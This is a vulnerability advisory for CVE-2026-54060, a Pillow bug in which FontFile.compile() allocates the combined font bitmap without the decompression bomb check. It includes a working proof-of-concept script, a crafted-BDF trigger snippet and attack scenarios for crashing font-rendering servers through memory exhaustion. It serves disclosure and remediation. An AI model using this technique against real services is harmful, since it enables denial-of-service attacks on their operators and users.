CVE-2026-54060

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric	Per-glyph (800 × 875)	Combined bitmap (256 glyphs)
Pixel count	700,000	179,200,000
DecompressionBombWarning threshold (89.4M)	0.008× — no warning	2.0× — above warning
DecompressionBombError threshold (178.9M)	0.004× — no error	1.001× — above error

With PCF-maximum glyph height (65,535):

Metric	Value
lines	256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height)	65,535
xsize	800
ysize = lines × h	256 × 65,535 = 16,776,960
Total pixels	800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold	75×
Memory (mode "1", 1 bit/pixel)	~1.6 GB

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

# Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

# Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

# Load a crafted BDF font with 256 glyphs each claiming height=65535
# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario	Effect
Web font preview (BdfFontFile(upload).to_imagefont())	DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont()	OOM crash
Font pipeline: load → render text	One malicious font file kills the process

Impact

• Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
• Confidentiality: None
• Integrity: None

Affected call paths:

• BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile()
• BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile()
• PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile()
• PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.